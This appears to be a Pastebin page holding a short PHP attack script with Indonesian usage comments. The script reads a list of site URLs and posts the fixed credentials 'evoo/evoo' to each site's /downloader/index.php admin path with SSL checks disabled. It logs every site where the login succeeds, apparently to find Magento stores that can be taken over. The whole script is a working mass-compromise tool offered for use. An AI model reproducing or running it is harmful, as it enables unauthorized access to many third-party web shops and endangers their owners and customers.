Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- mail : [email protected]
- How To Usage This Script
- c:\root\php>php this.php list.txt
- list.txt isinya harus pake http/https url ;)
- */
- $g=@file_get_contents($argv[1]);
- $ss=explode("\r\n",$g);
- foreach ($ss as $links){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "$links/downloader/index.php");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "username=evoo&password=evoo");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIESESSION, true);
- $res = curl_exec($ch);
- curl_close($ch);
- if(preg_match("/Log Out/",$res)){
- print "[+]Success $links\n ";
- $fp = fopen('hasil.html', 'a+');
- fwrite($fp, "$links"."<br>");
- fclose($fp);
- }else{
- print "[!]Not Valid\n";
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement